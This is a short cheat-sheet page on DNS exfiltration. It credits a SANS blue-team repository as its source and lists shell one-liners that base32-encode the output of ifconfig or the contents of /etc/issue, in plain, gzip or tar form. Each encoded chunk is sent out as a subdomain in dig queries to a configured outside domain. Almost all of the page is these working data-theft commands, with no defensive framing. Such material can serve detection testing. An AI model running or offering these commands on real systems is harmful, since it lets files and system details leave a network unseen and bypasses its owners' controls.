===== DNS Exfiltration =====

Data source [[https://github.com/sans-blue-team/DNS-Exfiltrate|here]].

Set DNS domain and subdomain


<code>dns_server=domain.uk
dns_name=5lz802ad6a7xz6c2izvq1hp6</code>
==== STDOUT Command====
<code>ifconfig | base32 -w 63 | tr -d = | while read a; do dig +short $a.$dns_name.$dns_server; done;</code>

==== Exfiltrate File====
<code>base32 -w 63 < /etc/issue | tr -d = | while read a; do dig $a.$dns_name.$dns_server; done;</code>

==== Exfiltrate Compressed File====
<code>gzip - < /etc/issue | base32 -w 63 | tr -d = | while read a; do dig $a.$dns_name.$dns_server; done;</code>


==== Exfiltrate Compressed TAR File====
<code>tar czf - /etc/issue | base32 -w 63 | tr -d = | while read a; do dig $a.$dns_name.$dns_server; done;</code>